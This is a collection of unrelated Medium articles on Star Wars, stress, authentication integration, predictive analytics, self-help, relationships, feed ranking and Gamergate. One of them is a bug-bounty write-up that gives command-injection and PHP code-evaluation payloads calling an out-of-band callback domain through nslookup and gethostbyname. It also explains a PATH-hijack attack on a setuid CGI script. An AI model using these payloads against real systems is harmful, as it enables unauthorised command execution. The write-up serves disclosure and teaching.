One such person is Nerdrotic (Gary Buechler), the bearded crown prince of the amorphous Fandom Menace — a term used to describe a social-media-powered subculture of disgruntled Star Wars fans who particularly aggrieved at how Lucasfilm has dismantled Star Wars canon, allegedly using the Star Wars brand to pursue a “woke” political agenda at the expense of good storytelling.
“For the first time in a long time, the majority of the fans were happy, and the question you have to ask upfront is, ‘Disney, was it really that hard to show respect to the hero of generations, Luke Skywalker?’” says Buechler. “It must have been, because it took them 8 or 9 years to do it, but when they did do it, it sent a clear message that people still want this type of storytelling, and in this specific case, they want Luke Skywalker because he is Star Wars.”
For me, Luke’s return in “The Mandalorian” is a reminder that great moments are what make movies (and TV shows) memorable, not plot or story lines. People love and remember moments.
As someone who camped out in a dirty theater alleyway in Waterloo, Iowa during the Summer of 1977 to see a movie that was then just called “Star Wars,” I am going to enjoy what Favreau and Filoni gave us on “The Mandalorian” — the moment where the Luke Skywalker I love and remember from childhood returned to Star Wars.
- K.R.K.
Send comments to: [email protected]
Postscript: In recent days, Lucasfilm and Disney social media operatives have been posting messages reminding us that Luke Skywalker himself, Mark Hamill, is a “fan” of the Disney sequel movies, including Rian Johnson’s “The Last Jedi.”
Perhaps that is true. But I also believe Hamill has made it clear in the past couple of days where his heart resides — with the George Lucas’ Luke Skywalker:
|
https://medium.com/@kentkroeger/why-the-season-2-finale-of-the-mandalorian-matters-to-so-many-of-us-bcc83817692e
|
['Kent Kroeger']
|
2020-12-31 16:51:20.348000+00:00
|
['Star Wars', 'Disney', 'Luke Skywalker', 'Lucasfilm', 'The Mandalorian']
|
How To Deal with Stress?
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Each one of us suffer from stress, tension and anxiety due to multiple reasons. Often what matters to us the most or excite us the most is the thing which keep on enjoying about. The main focus remain shifted towards that. The mind either consciously or uncounciously keep on thinking about that. Indeed, there exist a web in mind for that particular matter. Besides this, there could be any hurdle in the path of success or any accidental or unanticipatory issue which impact the peace of mind. Human beings feel hormonal disturbance due to this and start declining in performing.
Changes Due to Stress:
Stress affect the human beings in different manner. Some people start eating more while for some, there is no concept of hunger during stress conditions. For me stress directly affects my stomach and I literally refrain from eating. It ultimately affects my eating pattern and leads to stomach ache too. Likewise, the preoccupied brain is the condition which many of the individuals suffer from. The sleep patterns also got changed from one individual to another. Some take more sleep to avoid from reality. While others take antidepressants and hypnotic medication for sleep.
Method to Deal with Stress:
The method for dealing with stress is to relax your mind. The most difficult thing is to get control on mind and nerves. There exist various tactics for this.
One of the most useful tactic is to indulge yourself in healthy activities. You may start learning something new which you ever wished for in your life and didn’t find time for that in past. It could be any hobby that you want to give vent such as learning guitar, dancing etc.
Enhance socialization as it would keep your mind busy. Besides this, it would open up your path for different solutions through gatherings. Even, you van go for vacations to have fresh breeze that lead to calmness and freshness of brain.
Counsel your mind as much as you can. It would let you to experience self therapy and you do not need to reveal your stress reasons to others. Hence, the risk to blame game would be perfectly masked.
Start thinking for solutions to come out from the stress solution. Polishing the cognitive skills is the key to success in this regard.
You may even talk to yourself in mirror. Facing the stress with courage is the strength of an individual. Very few people can master it. Deal it at front end and prove yourself to be a warrior. Most often it is said that time is the best healer and everything would be resolved with the passage of time. However, you can also contribute to solving of problems to kick out stress from your life as early as possible.
Still having any queries about stress? Feel free to ask me! I would love yo know how you combat with stress? Share your solution with us 🙂
|
https://medium.com/@nagina-anwar56/how-to-deal-with-stress-380d441c3273
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['Nagina Anwar']
|
2020-12-15 22:11:11.883000+00:00
|
['Stress Management', 'Tension', 'Cognitive Psychology', 'Stress', 'Mental Health']
|
Integrating the authentication systems of IBM Cloud Pak for Data and Palantir Foundry
|
Integrating the authentication systems of IBM Cloud Pak for Data and Palantir Foundry Palantir Follow Feb 8 · 5 min read
This week, Palantir and IBM announced a partnership that will help businesses supercharge their data impact with easily deployable AI applications. The new solution combines key modules from Palantir Foundry with IBM’s AI for business capabilities and hybrid cloud data platform — Cloud Pak for Data.
A particularly interesting technical challenge — and the topic for this blog post — is the integration of the respective authentication and authorization subsystems in IBM Cloud Pak for Data and Palantir Foundry.
For brevity, throughout this post, we will refer to IBM Cloud Pak for Data as either “Cloud Pak for Data” or “Cloud Pak,” and the key modules from Palantir Foundry as “Palantir.”
Auth-n/z in Cloud Pak and Palantir
Let’s start with a brief description of the respective IBM Cloud Pak for Data and Palantir auth-n/z architectures. Each platform encapsulates auth-n/z concerns in a central component, Multipass in Palantir and the User Management service in IBM Cloud Pak for Data. In a common enterprise Single-Sign-on (SSO) configuration, this component negotiates user logins with existing identity providers such as Azure AD or Okta through SAML or Kerberos+LDAP, X509+LDAP, etc. Upon successful login, Multipass and Cloud Pak’s User Management service issue JSON Web Tokens (JWT) that are typically stored in the user’s browser session as a cookie. Users then pass the JWT to Cloud Pak / Palantir backend APIs to prove their identity.
In Cloud Pak for Data, JWTs convey both authentication claims and authorization grants. Cloud Pak’s auth component maps user groups to grants and encodes grants in the JWTs issued to Cloud Pak users. Each Cloud Pak application then makes local decisions to grant or deny users access to a particular resource or operation, depending on the grants encoded in the JWT. In contrast, Palantir relies on the central Multipass service to handle the authorization decision: when a user tries to perform a particular operation (e.g., “read-data”) on a given resource (e.g., a dataset identifier) in some application, the application calls Multipass’s hasOperation(token, operation, resource) API to determine whether to grant or deny access. The additional complexity of encapsulating authorization rules in a central service allows us to implement complex access control workflows such as provenance-aware access control.
Seamless integration
In order to provide a seamless user experience between Cloud Pak for Data and Palantir, we have worked with IBM engineers to devise an integrated auth-n/z solution. Users typically log in through Cloud Pak’s SSO integration to obtain a Cloud Pak JWT that is valid for all Cloud Pak applications. When switching to a Palantir application, we transparently exchange the Cloud Pak JWT for a Palantir JWT so that users won’t have to log in a second time before accessing the Palantir application. Let’s look at the token exchange mechanics in more detail.
The core authentication system in Multipass is split into so-called collectors, credentials, and providers. The job of a collector is to obtain user credentials from an external system; for example, the form collector allows users to enter their credentials as username and password through a UI, or the more complex SAML collector receives credentials from an upstream identity provider in the form of signed SAML assertions. Multipass then internally forwards the obtained credentials to a configurable provider; the job of the provider is to return group information (e.g., the user’s AD groups in the case of an Azure AD configuration) and user details (e.g., the user’s email address).
Notably, collectors and providers are configurable and polymorphic; this means that Multipass can plug together different collectors and providers in order to combine their capabilities. We used exactly this flexibility to integrate with Cloud Pak for Data: we combine a CookieCollector that extracts and verifies the Cloud Pak JWT with a Cloud Pak specific provider that reaches out to the Cloud Pak User Management API to fetch additional user details. When a user hits a Palantir application without presenting a valid Palantir JWT, the user gets redirected (via OAuth2) to Multipass. Multipass checks for the presence of a Cloud Pak JWT, redirects through the Cloud Pak login flow if necessary, and invokes the collector and provider to verify the Cloud Pak JWT and construct a corresponding Palantir JWT. After the redirect, the browser holds both the Cloud Pak JWT and the corresponding Palantir JWT for the user.
API gateway
A missing piece in the puzzle is how Palantir’s backend services forward user identify to Cloud Pak backend APIs. For example, a user may load a Palantir dashboard, thereby presenting a Palantir JWT to the dashboard backend service. This backend service now needs to reach out to Cloud Pak in order to fetch the data underlying the dashboard. Since the Palantir user only passes their Palantir JWT to the Palantir backend service, this service needs to exchange the user’s Palantir JWT for a valid Cloud Pak JWT that can be handed to the Cloud Pak backend.
Fortunately, our Multipass Cloud Pak provider is aware of this mapping from Palantir user to Cloud Pak user and can offer a suitable token exchange API endpoint that Palantir backend services can call. We take the user’s unique Palantir user ID and match that with their unique Cloud Pak user ID, then use Cloud Pak APIs to generate a signed, short-lived JWT for that user.
In order to make life a bit easier for our services and developers, we decided to also implement a passthrough Palantir-to-Cloud-Pak API gateway that performs this token exchange behind the scenes. As extra convenience for our developers, this gateway exposes the relevant Cloud Pak APIs in our standard RPC framework, Conjure.
Conclusions
Integrating two transformational software platforms poses a ton of interesting technical challenges — like this Cloud Pak auth-n/z integration. But, critically, this integration instantly unlocks the full potential of key Palantir modules for existing and future IBM Cloud Pak customers — supercharging their operational decision making, and accelerating their digital transformation.
Authors
Trey D., Robert F., Tom P., Gaurav T., Will M.
|
https://blog.palantir.com/integrating-the-authentication-systems-of-ibm-cloud-pak-for-data-and-palantir-foundry-775c90c1e691
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[]
|
2021-02-09 08:39:46.556000+00:00
|
['Authentication', 'IBM', 'Palantirtech', 'Palantir', 'Integration']
|
My Most Recent International Experience
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Ms CHINZORIG, Employers’ adviser and substitute delegate, Mongolia
Reports of the Chairperson of the Governing Body and of the Director-General: Discussion (continued) Ms CHINZORIG…
|
https://medium.com/@baljaa-ch/my-international-experience-d3287def5f34
|
['Baljaa Ch']
|
2020-12-30 01:25:44.653000+00:00
|
['International Relations', 'Experience', 'International', 'Sdgs', 'UN']
|
When i found multiple command injection
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Hello guys,
I found a command injection by capturing a DNS A request, which occurs when input data is interpreted as an operating system command.
This is a highly critical issue and should be addressed as soon as possible.
Executing commands without specifying an absolute path could allow an attacker to execute a malicious binary by changing $PATH or other aspects of the program’s execution environment.
impact of this bug is :
An attacker can execute arbitrary PHP code on the system. The attacker may also be able to execute arbitrary system commands
and how I found
I found random user input form (param=)
and after put lots of things in param then i try =&+nslookup+cxx8nlugxbqajjeguq7iwpzsdbxnyfj5o-a6ssjqlda.r87.me&’\”`0&nslookup+cxx8nlugxbqajjeguq7iwpzsdbxnyfj5o-a6ssjqlda.r87.me&`’ (with decoding )
like this : =%2526%2Bnslookup%2Bcxx8nlugxbqajjeguq7iwpzsdbxnyfj5o-a6ssjqlda.r87.me%2526%2527%255c%2522%25600%2526nslookup%2Bcxx8nlugxbqajjeguq7iwpzsdbxnyfj5o-a6ssjqlda.r87.me%2526%2560%2527
then i got
</form>
<pre>Server: xyz
Address: 172.x.x.x</pre>
</p>
</div>
</div>
then i found Code Evaluation in same site
xyz.php?name=%2bgethostbyname(trim(‘cxx8nlugxbab9vh_wuarecplh8zuzv9vyp5zxftg’.’vma.r87.me’))%3b%2f%2f
EXTRA EXTRA EXTRA….. (theory just for increasing report length)
Photo by Braydon Anderson on Unsplash
Do not accept input from end users that will be directly interpreted as source code. If this is a business requirement, validate all the input on the application and remove all the data that could be directly interpreted as PHP source code.
This vulnerability is not difficult to leverage. PHP is a high-level language for which there are vast resources available. Successful exploitation requires knowledge of the programming language, access to the source code or the ability to produce source code for use in such attacks, and minimal attack skills.
Explanation
Command injection vulnerabilities take two forms:
- An attacker can change the command that the program executes: the attacker explicitly controls what the command is.
- An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means.
In this case, we are primarily concerned with the second scenario, in which an attacker can change the meaning of the command by changing an environment variable or by inserting a malicious executable early on the search path. Command injection vulnerabilities of this type occur when:
1. An attacker modifies an application’s environment.
2. The application executes a command without specifying an absolute path or verifying the binary being executed.
3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.
demonstrates what can happen when the attacker may change how a command is interpreted. The code is from a web-based CGI utility that allows users to change their passwords. The password update process under NIS includes running make in the /var/yp directory. Note that since the program updates password records, it has been installed setuid root .
The program invokes make as follows:
system("cd /var/yp && make &> /dev/null");
The command in this example is hard-coded, so an attacker cannot control the argument passed to system() . However, since the program does not specify an absolute path for make and does not scrub its environment variables prior to invoking the command, the attacker may modify their $PATH variable to point to a malicious binary named make and execute the CGI script from a shell prompt. And since the program has been installed setuid root , the attacker's version of make now runs with root privileges.
|
https://infosecwriteups.com/when-i-found-multiple-command-injection-ad891d3ad9e6
|
[]
|
2020-04-08 15:30:18.638000+00:00
|
['Infosec', 'Programming', 'Technology', 'Cybersecurity', 'Bug Bounty']
|
Review: SAS Cortex Analytics Simulation Competition
|
Review: SAS Cortex Analytics Simulation Competition
Learn predictive analytics with SAS Enterprise Miner
Cortex Analytics Simulation by SAS and HEC Montréal
From late April to early May, I got to participate in the Cortex Analytics Simulation Competition by SAS in collaboration with HEC Montréal. The competition was open to everyone, especially targeted to students, who wanted to explore how predictive analytics is used in a real-world scenario.
I won’t go into too much detail about the game since I don’t want to give away possible answers for future competitions, but I would say it was a good experience learning about predictive analytics using SAS Enterprise Miner.
If you come across the competition and would like to learn more, this article goes through the game scenario, instructions and my personal experience throughout the competition.
Scenario
You’re working on a fundraising campaign for a not-for-profit charitable organisation with 1 million members. The foundation decided to add a direct contact campaign to its list of marketing activities. The objective is to fundraise the most donations given the costs of calling members. This will be done using predictive modeling software (SAS Enterprise Miner) to predict how many and which individuals to target in the campaign.
You will be provided with the dataset of potential donors. You will fit different models based on the previous behavior of donors, scoring donors to predict the donation this year. Using this output, decide how many potential donors to target. Upload your list of IDs which will be ranked from the submissions based on operating surplus: sum of donations - total cost of calling.
I created a table of some of the information given below.
Table 1: some variables listed, Table 2: cost of contacting members
Daily Webinars and Instructions
As it’s an introductory competition, participants are given detailed game instructions and could attend daily 1-hr webinars (provided by SAS).
These webinars included presentations going through the instructions and Q&A sessions. We were given two different methods of modeling:
“1-stage modeling”: a simple model which scores donors based on the predicted amount they will give. “2-stage modeling”: a more complex model which takes into account both the probability of giving (when contacted or not) and the predicted amount.
Of course, the 2-stage modeling process was more effective. It is more commonly known as uplift modeling, where the uplift is calculating by computing the difference between the predicted amounts which take into account the probability of giving when a person is contacted or not.
Competition
The competition was completed via a SAS Virtual Machine/Lab. You have a total of 20 hours over the 5 days to test different models and upload your results. Since it is on a virtual machine in the cloud, you’re required to make a reservation, which takes around 25 minutes to start up. There could also be a limit to how many times you can submit your answers (around 30).
During the competition, your objective is to test different types of machine learning models to predict probabilities or donation amounts. The layout of SAS Enterprise Miner can be quite intimidating at first which is why it’s best to follow the instructions given or the webinar.
SAS Enterprise Miner uses a simple system of drag and drop, where you can add different nodes and connect them to other nodes. This made it easy to learn how to use the software and test new models. Most of the diagram is completed for you and your main task would be to test different models and tweak the properties of them.
Some models include decision trees, regression, neural networks and gradient boosting. They also have high-performance (HP) data mining nodes which use several techniques not used in traditional methods (these may take longer to run). You’ll spend most of your time placing different models and placing the model comparison node to check which model performs the best (the lowest average squared error).
Diagram flow (similar to SAS Enterprise Miner)
The above shows a general diagram in SAS Enterprise Miner I created:
Initial Data Preparation: merges data together. Data Partition: data is split into training and validation sets. Modeling: add different models and modify their properties (here we show regression and decision tree). This stage could take a couple of minutes or even hours if you use complicated models (such as the HP nodes). Model Comparison: compares each model and shows their performance. Data Preparation for Scoring: scores new data based on the model used. SAS Code: exports the predictions to an Excel file.
After receiving your Excel file output, your job is to sort the data, collect how many IDs you want to use and submit your results. You’ll straight away see how well your submitted list of potential donors performs.
What I found particularly useful was seeing how many donors other participants in the competition are targeting so you can get an idea of how much money you could potentially collect. You spend most of your time tinkering around with different models, so it’s best to add different variations of models to find the best performing model. For example, you could use logistic regression instead of linear, or increase the complexity for the decision tree. Other ways you could try are removing or transforming variables.
Conclusion
In the end, I came 3rd overall in the competition, missing out on the top prize of $1000 AUD. I think if you would like to learn more about SAS Enterprise Miner and how it can be used for predictive analytics, joining the SAS Cortex Analytics Simulation Competition could be a great start. Although you have to pay to enter the competition, you’ll be able to share your experience online (or through an interview) and showcase your participant badge on Acclaim if you miss out on first place.
|
https://towardsdatascience.com/review-sas-cortex-analytics-simulation-competition-ff9f120b8361
|
['Harry Ngo']
|
2020-10-20 03:11:18.496000+00:00
|
['Modeling', 'Predictive Analytics', 'Machine Learning', 'Review', 'Data Science']
|
8 Ways to Avoid negativity
|
Beyond The Words
8 Ways to Avoid negativity
There are indeed so many external factors that overcome our happiness. An attitude or thought that contains hatred, fear, jealousy, skeptical., pessimism, and a feeling of downbeat is usually known as negativity. It trims down our potential by assuming our worst.
Consider a scenario where you go for a job interview, and before an interview, you get thought “ what if I won’t be able to communicate well or answer all the questions “ instead of preparing yourself with confidential or positive thoughts. Or in a relationship, you are always anxious about losing your loved ones instead of making a strong relationship with them. Or when you see some friends or colleagues gossiping behind you, and when you come to know that it makes you depressed. These are all negative thoughts with no base. We can liberate all the negativity by following some tips that are as follows :
This is the best tip to avoid negativity from our minds. Our mind works according to the input we give to it.
If we start judging about the things we don’t have or want in our life instead of the things we have in our life, definitely our mind starts thinking about failings of our life and it will bring negativity. We should make an attitude of gratitude in our lives to eliminate this negativity. We should be obliged for the things we have and be patient about the things we don’t have.
Many times a lot of people hurt us by their harsh words or any cruel act. That makes our minds think negatively. And sometimes we start getting thoughts of revenge which cause nothing but more worries and nervous tension.
In that situations, forgiving is absolutely the greatest tip to avoid negativity. Not forgiving others but also yourself makes you feel lighten up. Collecting hate in your heart can put a stop to your ability to love. It also helps to move on and after that, you will be capable of receiving love from others and to give love generously.
Oftentimes, negativity comes when we don’t stop living in our past and stressed about what will happen in the future. When these things appear in our minds we should remind ourselves that what is happening now? Is everything ok right now? if not? Don’t take stress about them, just focus to make them right. You will surely enjoy making your present better if you get rid of your past and future fears.
By letting go of toxic people
A major cause of negativity is our relationships with toxic people. It could be some of our friends, family members, or any college at the workplace. We need to look around and let go of such toxic people that make us feel down and make a bad impact on our minds. And we should also hold on to the people who support us and give reasons to be happy. By doing this, you could feel inner happiness and peace of mind.
Relationships are not toxic, People are :)
I came to know that helping others is one of the greatest sources, that makes you feel happy by heart. Be kind to everyone. When someone wants to talk with you, give your time and attention to them. Listen to them carefully and give honest advice which is in their favor. Be nice to everyone no matter if they are rich or poor. In fact when you see someone needy, secretly help them financially. helps others both financially and emotionally. To be honest, when you help others, you feel an amazing relief. Also by doing this you can get rid of the negativity that is around you. And this feeling of happiness or relief
encourages you more to help others.
If we are doing something that’s not liked by us or an environment around us that is not comfortable for us, it will surely bring negativity in our heads. And sometimes our working routine also wears us. To avoid such types of negativity, we need to do those activities we like to do. When we do such activities we like to do it will give happiness to us.
we cannot remove negativity, although we can avoid it. We need to find happiness in every little thing or moment. We should spend time with our families, friends, and loved ones instead of locking ourselves in a cage of thoughts. We need to go outside and enjoy every single moment of life. If there are some issues in our life, that makes us feel down. We should share our problems with our friends or someone who cares for us.
“There is always a reason to smile.”
Positivity surely comes but when we want to find it in little things. Don’t leave your mind idle, always trying to enjoy or learning new things. By doing such little things you can avoid negative thoughts.
Usually, it happens that when someone has negative behavior with us, we also respond to them negatively which brings more negativity around us. It’s ok if people have a negative attitude towards us. Firstly, we should respond to them positively and maybe our positive behavior compels them to change their behavior. If it doesn’t happen we should distance ourselves from them.
But in return for negative behavior when we respond negatively it will do nothing but cause more distraction of mind and lots of negativity so we should not need to pay attention to their such attitudes and avoid it with positivity.
The biggest reason for negative behaviors or negativity is making assumptions and overthinking. When we start living in our bad memories of the past and start making assumptions for our future it will destroy our present. Instead of worrying about our past and the future, we should need to focus on our future. If we made some mistakes in our past, instead of regretting them we should struggle so that we do not make the same mistakes again. If we make our present better it will bring a peaceful future.
We cannot remove negativity, but we can avoid it. Negative situations are always around everyone. It’s up to us whether we let it dominate us or not. We just need to replace our negativity with positivity.
Practice these tips and you will see how slightly happiness and positivity start entering your life. And that positivity makes your life easy and beautiful.
Hope this article will help you a lot J
Article By Maryam Waheed
|
https://medium.com/@maryamwaheed/8-ways-to-avoid-negativity-b9770fdec171
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[]
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2021-07-31 19:10:30.019000+00:00
|
['Lifehacks', 'Happiness', 'Negativity', 'Motivation', 'Positivity']
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What A Hideous Christmas Gift From My Ex Taught Me About Relationships
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By Cory Steig
Illustrated By Vera Romero
My high school boyfriend bought me the ugliest dress of all time for Christmas. No, seriously. It was mixed-media ugly, and consisted of a light blue sweater dress, with a brown plaid skirt attached to the bottom, and three silver hooks on the bib of the collar. But instead of telling him upfront that it was heinous and I wanted nothing to do with it, I did what any high-schooler would do: I lied.
Cut to Christmas morning, when we were supposed to go to his aunt’s house for holiday festivities. When we were exchanging gifts, he had not-so-gently told me that I should wear the dress to meet his family. “Cool, cool,” I had said.
It was not cool, though. That morning, I scrambled around my room trying to find anything that would make the dress look presentable for his family. It was like a Project Runway challenge from hell.
As a 17-year-old in my first “serious” relationship, I cared a lot about what his family and friends thought about me, because he insisted that we were in it for the long haul. I also cared way too much about what he thought about me, because I was convinced I wasn’t good enough for him. (This illogical, self-critical thought process was likely a byproduct of him cheating on me — repeatedly — and then convincing me I needed to change if I wanted our relationship to be on solid ground.) Eventually I decided to wear a waffle-knit long-sleeve thermal and brown tights to make the dress look something close to presentable — but yes, it looked just as bad as you’re envisioning.
When my boyfriend pulled up in his Jeep, I stepped out of my house and prayed for death. I was a pro at pretending that I was okay after everything we had been through, but for some reason this emotion was harder to mask. As soon as I got in the car, I pouted to see if he could sense how terrible I felt. He didn’t, and that’s when I lost it. Sobbing through apologies, I sheepishly told him that I actually hated the dress, and I didn’t want him to be upset. This time, he pouted, and coldly told me to go inside and change. Instead of reassuring me that it was not a big deal in the grand scheme of things, he said his mum could return it — which she did, and he made me go with her to do it. But man, did that pile on the guilt that I had offended him and his family.
I was a pro at pretending that I was okay after everything we had been through, but for some reason this emotion was harder to mask.
The next year, he asked me to make a list of everything I wanted for Christmas, as if that would give him immunity in case anything else went wrong. That is sort of how he dealt with problems in the relationship: Instead of admitting that he played a role in our issues, he turned the blame on me, which meant that the onus was always on me to fix things. I wanted to make him happy, so I made a long list: a Coach wallet, Ugg earmuffs, nice PJs, and a bunch of other stuff that was on-trend at the time. It made me feel like a spoiled brat.
On Christmas day, I went to his house to exchange gifts and his kitchen counter was covered with presents for me. His mum watched smugly as I started to open the gifts, like she was daring me to say I didn’t like them. One by one, I unwrapped every single item that I had asked him for on the list. On paper, he got me everything I wanted, but I still felt deeply unhappy and empty. Somehow, looking at all of this stuff allowed me to see through the smoke show he had created; I could no longer ignore the fact that our relationship wasn’t healthy.
We broke up less than a month later, and I gave the gifts to Goodwill. Looking back, it was clear that we weren’t on the same page from the start. It was never about the dress, or the “right” gifts; it was about feeling heard and supported, and like we were on a team. But I wish I had recognised sooner that my strong reaction to that dress was a symptom of larger problems in our relationship — namely his cheating and his controlling, manipulative behaviour. I’m not saying I was perfect, but I wasn’t a brat, and I didn’t need him to just know what I wanted (for Christmas or in life). I just needed a partner who could truly empathise and take ownership of their part of the relationship. And he showed me, time and again, that he was never going to do that for me.
Of course, one bad gift shouldn’t be relationship-ending. But I’ve learned that if I can’t figure out how to communicate to my partner that I’m upset, and they’re not receptive to hearing it, that’s a sign that there’s a bigger issue in the relationship. And sometimes “red flags” aren’t obvious — they’re light blue with brown plaid.
|
https://medium.com/refinery29/what-a-hideous-christmas-gift-from-my-ex-taught-me-about-relationships-e647ccc84b18
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[]
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2019-12-26 13:01:01.288000+00:00
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['Relationships', 'Christmas', 'Dating', 'Love', 'Breakups']
|
Using PID controllers to diversify content types on home feed
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Yaron Greif | Software Engineer, Homefeed Ranking
Every day millions of Pinners visit the home feed to find inspiration on Pinterest. As a member of the home feed ranking team, it’s my job to not only figure out what relevant pins to show Pinners but also to make sure that those Pins will help maintain the health of the overall Pinterest ecosystem. For instance, relative to ranking just for relevance, we might display more newly-created Pins to ensure our corpus doesn’t become stale, or more video Pins to surface actionable ideas from creators.
Traditional click-through prediction models are designed to maximize user engagement, but they don’t help achieve those other business objectives. To solve those other objectives, the home feed ranking team introduced controllable distribution, a flexible real-time system applied after the traditional ranking layer to control the tradeoff between areas like relevance, freshness, and creator goals by boosting and demoting the ranking scores of content types.
Background
Before controllable distribution, we solved for those business constraints through a large number of special case solutions in the codebase. The two most common solutions were to simply insert the content we wanted more of approximately every n slots or to move the content up on the feed until a minimum percentage of the content returned is a particular type.
Those types of solutions were painful for both practical and theoretical reasons.
In practice, these hand-tuned boosts quickly became unmanageable and interfered with each other. And worse, they often stop working over time — especially when ranking models are updated. We regularly had to delay very promising new ranking models because they broke business constraints.
In theory, controlling content on a per-request basis is undesirable because it prevents personalization. If we show each user the same number of video Pins we can’t show more videos to people who really like to watch videos or vice versa.
Our solution
Controllable distribution replaces those hard-coded constants with a system where business owners can specify a global target for the percentage of impressions by content type. For example, if 4% of the feed is set to video, controllable distribution can then automatically determine how to achieve that distribution while still respecting Pinner content preferences. Importantly, controllable distribution adjusts the system continuously in realtime, so it does not grow stale.
Controllable distribution does this through a system that tracks what percentage of the feed was video in the past and then boosts or demotes the content based on how close to the target video is. The boost is implemented by increasing the ranking systems score by a scalar that we call a “normalization constant.”
To motivate normalization constants we can formulate the Pinterest ranking setting as an optimization problem subject to constraints imposed by controllable distribution. The normalization constants are then the Lagrangians of that optimization problem.
For every user i slot j pair, the system selects pin Xij to maximize the ranking scores. Controllable distribution adds a constraint that every Pin type t should make up Pt percent of the feed
The optimization problem then becomes:
The Lagrangian form is then:
The Lagrangian λ are our normalization constant. From an economic perspective, the λ is the shadow price or acceptable opportunity cost to select a Pin of type t. We are willing to give up λ of expected engagement to show a Pin of type t.
The above optimization problem cannot be solved in practice because we don’t know in advance the set of Pins that will be ranked. Instead, without controllable distribution, the solution is approximated by greedily selecting Pins with the highest ranking score. Since λ for type t is independent of the user and slot, the decision rule above can be updated to select the Pin with the highest combined ranking score and normalization constants.
λ for type t is approximated by observing in real-time the error g(t)and adjusting λ accordingly.
For instance, in the below experiment we wanted the actual percentage of Pins of a certain type to be 15.5%. It started high, at 20%. When the system saw the content was being over distributed, it reduced the constant and eventually the percentage converged to about 15.5%.
|
https://medium.com/pinterest-engineering/using-pid-controllers-to-diversify-content-types-on-home-feed-1c7195c89218
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['Pinterest Engineering']
|
2020-07-10 00:06:07.630000+00:00
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['Machine Learning']
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Marijam Didžgalvytė Understands Gaming Culture Better Than Most
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Think of the things that gaming culture is most recognized for — it might be a game like Fortnite, a convention like E3 or Gamescom, a platform like PlayStation or Xbox, but very few would reference the culture itself. It’s of little surprise then that Gamergate claims a significant portion of that pie — the movement metastasized a once-dormant sense of discontent with women and minorities in a medium that traditionally catered to straight white men, and in its wake, completely upended the parameters of culture war, as it forever changed the face of online discourse.
Marijam Didžgalvytė understands that better than most. She’s been involved in the conversation through an independent editorial effort on the Twitter-hosted series Left Left Up, which seeks to analyze what ails the modern gaming industry from a class-conscious lens, devoid of all the baggage that a focus on liberal solutions for capitalism-sprung problems entails.
Political ideology is something that games journalism puzzlingly shies away from — it custodes the brunt of the criticism they’ve been getting, and yet it’s something they’re reticent to embrace. I asked Marijam what motivated her to assume the profile that she has, and the answer was simple: She has been a political organizer from the start, and that’s how she traditionally approached these issues.
“I’ve been antifascist, and an active street antifascist organizer since a very young age, [at] about age 14 or so back in Lithuania before I moved to the UK,” Marijam says. “Whether that’s street opposition, or more of a digging into the personalities themselves, anti-racist action is just something that’s informed a lot of my work for as long as I’ve lived.”
The guiding narrative for much of Gamergate’s rhetoric.
Having recognized the issues with gaming culture and the industry prior to them blowing up in a big way back in 2014 makes you part of a decidedly rare breed. Part of what made Gamergate powerful, is that it brought to the fore feelings that have always existed, but were ignored by all vectors of influence within the gaming space. Marijam believes one of the reasons toxicity was allowed to fester as freely in gaming culture, is “because radical progressives tended to be technophobic and were nowhere to be seen.” What makes the opposition to Gamergate particularly distinct, is that it is mostly a reaction to the movement, rather than a generative ideological force by itself. So much of the action that exists to foster a more hospitable environment for players today, was fairly insignificant prior to the instigatory events of Gamergate.
“I’ve been antifascist, and an active street antifascist organizer since a very young age.”
Marijam’s academic background is partly to owe for her attunement to these issues. “I come from a fine art background, so gaming was something I did as a hobby for many years and actually was quite judged by my lefty counterparts for,” she says. Revenue generated by the gaming industry recently surpassed that of the film industry — a notion once thought to be inconceivable — and that’s around the time when Marijam realized she had to get involved.
“That was my first time,” she says. “I didn’t know how to deal with it. I didn’t know anything about it. And that was painful — right now it happens all the time, but on a much smaller scale, but at least I know I’m prepared.” That was Marijam’s first taste of Gamergate’s brand of harassment a few years back. She thought herself to be empathetic enough to skate by untouched, but alas, she hadn’t realized yet that it wouldn’t have made much of a difference for a movement whose signature move is to dehumanize its victims.
The structural critique often made by Gamergate is that media companies are profit-motivated, and will therefore do anything to get clicks, even when it defies journalistic responsibility. The issue with Gamergate, is that this often is directed at the wrong individuals — shareholders are able to evade scrutiny, as journalists are being piled onto for decisions they had little control over. Marijam noted that while this is relevant currently, it might not always be the case in the foreseeable future.
“I think gaming journalism is kind of dying. Most people are more likely to make up their opinion about a game from watching streamers that they love and relate to, rather than reading what IGN thinks about it,” she says. “I just find the quality of most games journalism to be incredibly poor. It doesn’t hit any of the critical thinking that could be flourishing in this medium. GamesIndustry.biz almost always does an excellent job and there are a few individual writers in other popular gaming websites that don’t shy away from a more complex take and questioning the business incentives, but that’s so rare!”
I was shocked at first to learn that Marijam very much shared my own opinion about games media — if Gamergate likes to bark about “politics” — which is a shorthand way of saying feminist, race-aware, and queer-positive analysis — invading games media as being its demise, the problem has always been that game critique was always shallow, and ideologically-uninvolved. “People going through film school actually learn basic art history, and games journalists don’t — they just think it’s their own world. They have no comparatives, no references, or they just don’t look at history at all,” Marijam tells me. Looking at the games media scene, her observations bear themselves out.
Being intrigued by what distinction would she make between the role of class and identity in entrenching Gamergate members, Marijam thought that taking one without the other does a major disservice to the discourse. “Class is an identity itself, and also class inequality is predicated on the othering and exploitation of people with less power,” she says. “A lot of the time this happens to be people in the Global South and other marginalized people.”
In our quest to come up with a simplified playbook of how to deconstruct the group dynamics of Gamergate, a crucial piece of the puzzle can get lost as one is taken when the other is left. Intersectionality in class and identity analysis is crucial in Marijam’s point-of-view to reach as close an assessment to the empirical truth as possible. She goes a step further and emphasizes the importance of organizing from the opposite perspective: “Let’s not underestimate the architectures and infrastructures that were built by very active far-right actors during that time.”
Of course, what Marijam said was true. Conservative news outlet Breitbart was fanning the flames of conflict months leading into its ultimate crescendo, and 4chan users — infamously known for their edginess — were heavily involved in the process. Marijam adds that “fairly classic misogyny has always existed, but there was a very active particular push by some that found this group of people very malleable for it to grow into this scale of abuse that we’ve seen.”
As satisfactory as that has been for six years now, I couldn’t help but think that dipping back into the well of Gamergate has become a mythology of its own, so I asked the question of whether we’re losing out on new perspectives because of the natural impulse to resent revisionism. “It’s so tricky to even be having this conversation altogether out of the absolutely understandable anxiety of not wishing to belittle a lot of the suffering that has happened,” Marijam says. “I wish to stress that us criticizing the liberal approach to it, has nothing to do with the fact of the real pain that was caused by the events.”
